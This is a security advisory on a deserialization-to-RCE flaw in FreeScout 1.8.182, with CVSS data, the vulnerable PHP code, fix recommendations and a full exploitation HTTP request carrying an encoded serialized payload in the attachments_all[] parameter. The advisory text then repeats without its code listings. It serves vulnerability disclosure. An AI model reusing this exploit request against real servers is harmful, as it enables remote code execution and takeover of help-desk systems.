Deserialization of untrusted data leads to Remote code execution (RCE) [9]
Product: FreeScout
Version: 1.8.182
CWE-ID:
• CWE-502: Deserialization of Untrusted Data
• CAPEC-586: Object Injection
CVSS vector v.4.0: 8.6 (AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N)
Description: The application performs deserialization of data that can be tampered with. An attacker can create objects of arbitrary classes, as well as fully control their properties, thereby allowing them to manipulate the web application's logic.
Vulnerable scenarios: /conversation/ajax
Vulnerable parameters:
• POST attachments_all[]
• POST attachments[]
Exploitation conditions: authorized user, APP_KEY knowledge
Recommendations: Configure the web server to prevent the receipt of untrusted deserialized data or, if the architecture allows, use alternative data formats such as JSON or XML instead of serialized objects.
If this is not possible, follow the guidelines below:
• Explicitly define data types during deserialization;
• Ensure data integrity checks (e.g., using an HMAC hash function);
• Create a separate object to store deserialized data, as this causes the data to pass through secure input validation;
• Use transient fields to denote data that should not be serialized.
Researchers: Daniil Satyaev, Roman Cheremnykh, Artem Danilov (Positive Technologies)
Research
Vulnerable code:
Listing Code snippet exploiting the vulnerable function Helper::decrypt (app/Http/Controllers/ConversationController.php 3159-3171)
public function decodeAttachmentsIds($attachments_list)
{
foreach ($attachments_list as $i => $attachment_id) {
$attachment_id_decrypted = \Helper::decrypt($attachment_id);
if ($attachment_id_decrypted == $attachment_id) {
unset($attachments_list[$i]);
} else {
$attachments_list[$i] = $attachment_id_decrypted;
}
}
return $attachments_list;
}
The code use insecure function \Helper::decrypt
, which leads to deserialization and further Remote code execution (RCE).
Exploitation scenario:
Listing HTTP-request to exploit «Deserialization of untrusted data»
POST /conversation/ajax HTTP/1.1
Host: freescout.web-hacks.ru
Cookie: enduserportal_auth=eyJpdiI6IkhRQTZ5MnJjQitHXC84WHhtb1RabGF3PT0iLCJ2YWx1ZSI6IlBZMUF5ejF4MTJwaUJCdHFHQTE5Q25yNE8ySW9BQnpYZ09hdmwxeGVzeEMzcFp2anRzbXFZdnZUeHM5YTBUMXFxQUJIY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VloTHZSdUxXejVnT3dvV1ZZSDhkS3pZbGtlT3FLb0QzdEJDSlcrajZNMzBkdmFDOTNTZE5rRkdWcDBNVW1MYmhBQ3hnN2ozQnI1aGVybW9pQ2w3TVNPM1NIQmpVOFwvblo5ZVwvQTl4d3djM1ZVQ1c3TDRlTGVqUkJmWFFKYkpudkxFOWJneG9LdHZybWc1S1JTWmJDamJQaUZqMWMwTE0zU1BEVzNweVwvK0hCTHQ3dms9IiwibWFjIjoiN2I4NzkyZGQ5MDU1OTg5Y2U2Njg4Mjc1MjQ4YWIxNTUzNDZiNzk4MzliYmNlYjYzOWYxYTU4OWUxMGFkNWYwYSJ9
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:139.0) Gecko/20100101 Firefox/139.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Csrf-Token: IqCjwN7WYawh0rIQDJajIrBu5GhCQVfvD5Axgkw2
X-Requested-With: XMLHttpRequest
Content-Length: 1288
Origin: https://freescout.web-hacks.ru
Referer: https://freescout.web-hacks.ru/conversation/53
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
Connection: keep-alive
_token=IqCjwN7WYawh0rIQDJajIrBu5GhCQVfvD5Axgkw2&conversation_id=53&mailbox_id=4&is_note=&is_phone=&type=&thread_id=117&customer_id=&is_create=1&to%5B%5D=zzxxcc%40zxc.ru&subject=zxc&attachments_all%5B%5D=eyJpdiI6ICJvaVpTZnhvVmFnOGY5VTI0Tm5GQi9BPT0iLCAidmFsdWUiOiAiaU1xRzRHR1dtblc1UWRpU0l4cTZ1aGJZMUdaYVM5a1dCWjRIMGJPYWZuSGVNUFpSZ0dIOUdsaWc5eHVpTi9OeFRwaFZoWWQydVNCNloxRWhGYXYvNmxYajMzdUNNY09yWWRVdGtQNG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xMk1TQy9kdW9CYnFINVZoL0NHUUMvYkVYWmtIWGRsN2wyZTlXQk9NUkRsaUp3VTltUVJCSU5WeW5pZzF5cWdXaUVxaUVWeWIzVG0xcmhNS0o0Y1dGM1dWMWd4UnduVXNRZXlGZnJPVHdDdkdXTFd2YmdEb3VlemxidnlNUGphTE1LZjMzai9lUDVydng5aVFIejV3L2VxRWI5TVJ5QyIsICJtYWMiOiAiNzFjMGI2MDhhMGVmN2YwZjMyMjUwMGZiNGNmOTYyZDgyMzQ4MTc2M2ZiZDQ0ZmE5YWY0Yjk1OTRjOTkyYzEwNCIsICJ0YWciOiAiIn0=&body=%3Cdiv%3Ezxc%3C%2Fdiv%3E&status=2&user_id=27&after_send=2&after_send_default=2&action=send_reply
The same problem with send_reply is also in the EndUserPortal module.
Listing Vulnerable code
public function processReplyAttachments($request)
{
$has_attachments = false;
$attachments = [];
if (!empty($request->attachments_all)) {
//$embeds = [];
$attachments_all = $this->decodeAttachmentsIds($request->attachments_all);
if (!empty($request->attachments)) {
$attachments = $this->decodeAttachmentsIds($request->attachments);
}
// if (!empty($request->embeds)) {
// $embeds = $this->decodeAttachmentsIds($request->embeds);
// }
$attachments_to_remove = array_diff($attachments_all, $attachments);
if (count($attachments) && $attachments_to_remove != count($attachments)/* != count($embeds)*/) {
$has_attachments = true;
}
//$attachments_to_remove = array_diff($attachments_to_remove, $embeds);
Attachment::deleteByIds($attachments_to_remove);
}
return [
'has_attachments' => $has_attachments,
'attachments' => $attachments,
];
}
Deserialization of untrusted data leads to Remote code execution (RCE) [9]
Product: FreeScout
Version: 1.8.182
CWE-ID:
• CWE-502: Deserialization of Untrusted Data
• CAPEC-586: Object Injection
CVSS vector v.4.0: 8.6 (AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N)
Description: The application performs deserialization of data that can be tampered with. An attacker can create objects of arbitrary classes, as well as fully control their properties, thereby allowing them to manipulate the web application's logic.
Vulnerable scenarios: /conversation/ajax
Vulnerable parameters:
• POST attachments_all[]
• POST attachments[]
Exploitation conditions: authorized user, APP_KEY knowledge
Recommendations: Configure the web server to prevent the receipt of untrusted deserialized data or, if the architecture allows, use alternative data formats such as JSON or XML instead of serialized objects.
If this is not possible, follow the guidelines below:
• Explicitly define data types during deserialization;
• Ensure data integrity checks (e.g., using an HMAC hash function);
• Create a separate object to store deserialized data, as this causes the data to pass through secure input validation;
• Use transient fields to denote data that should not be serialized.
Researchers: Daniil Satyaev, Roman Cheremnykh, Artem Danilov (Positive Technologies)
Research
Vulnerable code:
Listing Code snippet exploiting the vulnerable function Helper::decrypt (app/Http/Controllers/ConversationController.php 3159-3171)
The code use insecure function
\Helper::decrypt
, which leads to deserialization and further Remote code execution (RCE).Exploitation scenario:
Listing HTTP-request to exploit «Deserialization of untrusted data»
The same problem with send_reply is also in the EndUserPortal module.
Listing Vulnerable code